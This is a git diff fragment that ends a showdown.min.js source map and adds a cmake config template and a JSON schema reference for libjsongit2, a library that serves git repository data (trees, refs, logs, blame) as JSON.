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","file":"showdown.min.js"}
\ No newline at end of file
diff --git a/cmake/.config.h.in.swp b/cmake/.config.h.in.swp
new file mode 100644
index 0000000..086b275
Binary files /dev/null and b/cmake/.config.h.in.swp differ
diff --git a/cmake/config.h.in b/cmake/config.h.in
new file mode 100644
index 0000000..6b0f2c3
--- /dev/null
+++ b/cmake/config.h.in
@@ -0,0 +1,2 @@
+#cmakedefine JG2_HAVE_ARCHIVE_H
+#cmakedefine JG2_HAVE_BLAME_MAILMAP
\ No newline at end of file
diff --git a/doc/README-JSON.md b/doc/README-JSON.md
new file mode 100644
index 0000000..ce5e296
--- /dev/null
+++ b/doc/README-JSON.md
@@ -0,0 +1,270 @@
+## JSON output
+
+The library produces well-formed JSON ready for `JSON.parse()` that
+always has an outer container like this
+
+```
+{
+ "schema":"jg2-1",
+ ... dynamic entries ...
+ "items": [
+
+... one or more "job" JSON `{ structures }`, may be from cache ...
+
+ ],
+ ... dynamic stats entries ...
+}
+```
+
+### Dynamic JSON header entries
+
+JSON name|Meaning
+---|---
+schema|always "jg2-1" currently
+vpath|The virtual URL path the server is at, eg, "/git/".  URL paths back to the server must start with this
+avatar|URL path to link to the avatar cache, eg, "/avatar/"
+alang|Whatever the browser gave to us for `ACCEPT_LANGUAGE`
+f|server flags... b0 = 1: server can handle blame, b1 = 1 = server can do snapshot archives, b2 = 1 = blog mode
+gen_ut|Unix time this page was created
+reponame|Name of the repository this refers to
+desc|Description of the project in the repository from gitweb
+owner|`{identity}` structure (see later) using data from gitweb
+url|git clone url from gitweb
+
+Note on `"f"`... libjsongit2 builds adaptively to the featureset in the version
+of libgit2 that it's linked to and whether libarchive was present.  b0 and b1
+let us know if the server can handle blame (libgit > 0.21) and creating
+snapshot archives (libarchive required), so the UI can adapt accordingly.
+
+b2, "blog mode" parses markdown in the git repo as a semi-static blog; if set
+it implies a simplified UI should be shown, eg, without the mode tabs or tree
+directory view.  
+
+### Dynamic JSON trailer entries
+
+JSON name|Meaning
+---|---
+g|us (microseconds) taken to produce the overall JSON
+chitpc|Percentage of JSON cache hits for this vhost
+ehitpc|Percentage of ETAG cache hits for this vhost
+
+### Identity structure
+
+JSON name|Meaning
+---|---
+name|Name like "Fred Bloggs"
+email|Email like fred@bloggs.com
+md5|md5sum of the email (used with gravatar)
+
+### OID structure
+
+JSON name|Meaning
+---|---
+oid|OID the information applies to
+alias|List of refs that share this OID
+
+### git_time structure
+
+JSON name|Meaning
+---|---
+time|Unix time
+offset|Timezone offset from unix time in minutes
+
+### Signature structure
+
+JSON name|Meaning
+---|---
+git_time|`{git_time structure}`
+name|Name
+email|email
+md5|md5sum of the email
+
+### Job JSON structure
+
+A single URLpath "connection context" may need to spawn multiple "jobs" in a
+single response.  For example, if there is a README.md in the directory, the
+`"items": []` array will contain two JSON items, one from a "/tree/" job to show
+the directory contents, and another showing the contents of the README.md blob
+for the revision being shown.
+
+The contents of the Job JSON depends on the job type... and the kind of jobs
+that can appear are set by the URLpath the JSON is returned for.   Eg the JSON
+for a tree directory listing is (for a `/tree/` URL) is like this:
+
+```
+{ "schema":"libjg2-1",
+ "oid":{ "oid": "79397b21a38d263263a65abb69b8e1fffd326796",
+ "alias": [ "refs/heads/master"]},"tree": [ 
+{ "name": "READMEs","mode": "16384", "size":0},
+{ "name": "cmake","mode": "16384", "size":0},
+{ "name": "contrib","mode": "16384", "size":0},
+...
+{ "name": "component.mk","mode": "33188", "size":1659},
+{ "name": "libwebsockets.dox","mode": "33188", "size":11618}],
+"s":{"c":1534293661,"u":2442}}
+```
+
+### Job JSON header
+
+Ever job JSON starts with the same header, which also goes into the cached
+version.
+
+JSON name|Meaning
+---|---
+schema|"libjg2-1"
+cid|If cache enabled, and relevant to the job, the cache hash of this JSON
+oid|`{OID structure}` described above; present if content is related to an oid
+
+### Job JSON trailer
+
+Every "job" JSON has this information appended and the information is also
+part of the cached copy.
+
+JSON name|Meaning
+---|---
+c|Creation Unix Time
+u|us (microseconds) taken to create originally
+
+## Job-specific JSON reference
+
+### tree directory
+
+Outer JSON name: **tree**
+
+Comprises an array of structures of the form
+
+JSON name|Meaning
+---|---
+name|The file name in the directory
+mode|low 9 bits are xrw bits for owner, group, other, b14 means directory
+size|size of the blob in bytes
+
+### tree file
+
+JSON name|Meaning
+---|---
+blobname|The file name of the blob
+blob|the JSON-escaped content of the blob
+
+### repo list
+
+Outer JSON name: **repolist**
+
+Comprises an array of structures of the form
+
+JSON name|Meaning
+---|---
+reponame|The name of the repo (xyz.git/ would have the reponame "xyz")
+desc|The gitweb description
+name|Gitweb owner name
+email|Gitweb owner email
+md5|md5 of the gitweb owner email
+url|clone URL
+
+### reflist
+
+A list of refs from the repo
+
+Outer JSON name: **reflist**
+
+Comprises an array of structures of the form
+
+JSON name|Meaning
+---|---
+name|The name of the ref, eg "refs/heads/master"
+summary|A `{summary}` JSON struct, see below
+
+The `{summary}` struct for a branch looks like
+
+JSON name|Meaning
+---|---
+type|"commit"
+time|The unix time of the commit
+time_ofs|The timezone offset in minutes
+oid_tree|The `{OID structure}` for the tree at this rev
+oid|The `{OID structure}` for the commit at this rev
+msg|The short commit log message
+sig_commit|The `{signature structure}` for the committer
+sig_author|The `{signature structure}` for the author
+
+The `{summary}` struct for a tag looks like
+
+JSON name|Meaning
+---|---
+type|"tag"
+oid_tag|The `{OID structure}` for the tagged commit
+type_tag|"commit"
+msg_tag|The short commit log message
+sig_tagger|The `{signature structure}` for the tagger
+
+### log
+
+This is a series of commits
+
+Outer JSON name: **log**
+
+Comprises an array of structures of the form
+
+JSON name|Meaning
+---|---
+name|The `{OID structure}` for the commit at this rev
+summary|A `{summary}` JSON struct, see below
+
+The `{summary}` struct contains 
+
+JSON name|Meaning
+---|---
+type|"commit"
+time|The unix time of the commit
+time_ofs|The timezone offset in minutes
+oid_tree|The `{OID structure}` for the tree at this rev
+oid|The `{OID structure}` for the commit at this rev
+msg|The short commit log message
+sig_commit|The `{signature structure}` for the committer
+sig_author|The `{signature structure}` for the author
+
+### blame
+
+This information is provided after a "job" delivering the unannotated blob
+for the file being blamed.
+
+Outer JSON name: **blame** and **contrib**
+
+The first `"blame": []` section comprises an array of structures of the form
+
+JSON name|Meaning
+---|---
+ordinal|sort-order ordinal
+orig_oid|The `{OID structure}` for the pre-patched content
+final_oid|The `{OID structure}` for the post-patched content
+sig_orig|The `{signature structure}` for the original content patch
+sig_final|The `{signature structure}` for the final content patch
